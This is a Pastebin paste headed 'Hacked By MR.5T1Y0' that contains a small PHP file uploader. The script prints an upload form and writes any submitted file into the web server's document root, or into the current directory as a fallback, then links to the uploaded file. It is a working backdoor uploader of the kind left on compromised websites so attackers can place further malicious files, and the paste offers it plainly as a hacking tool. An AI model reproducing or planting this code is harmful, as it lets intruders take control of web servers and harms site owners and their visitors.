Advertisement
Guest User

MR.5T1Y0

a guest
Feb 10th, 2019
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.71 KB | None | 0 0
  1. Hacked By MR.5T1Y0 <?php
  2. echo "<form method='post' enctype='multipart/form-data'>
  3. <input type='file' name='dst'>
  4. <input type='submit' name='upload' value='upload'>
  5. </form>";
  6. $root = $_SERVER['DOCUMENT_ROOT'];
  7. $files = $_FILES['dst']['name'];
  8. $dest = $root.'/'.$files;
  9. if(isset($_POST['upload'])) {
  10. if(is_writable($root)) {
  11. if(@copy($_FILES['dst']['tmp_name'], $dest)) {
  12. $web = "http://".$_SERVER['HTTP_HOST']."/";
  13. echo "sukses..!! -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  14. } else {
  15. echo "failed to upload in the document root.";
  16. }
  17. } else {
  18. if(@copy($_FILES['dst']['tmp_name'], $files)) {
  19. echo "sukses upload <b>$files</b> di folder ini";
  20. } else {
  21. echo "gagal upload";
  22. }
  23. }
  24. }
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement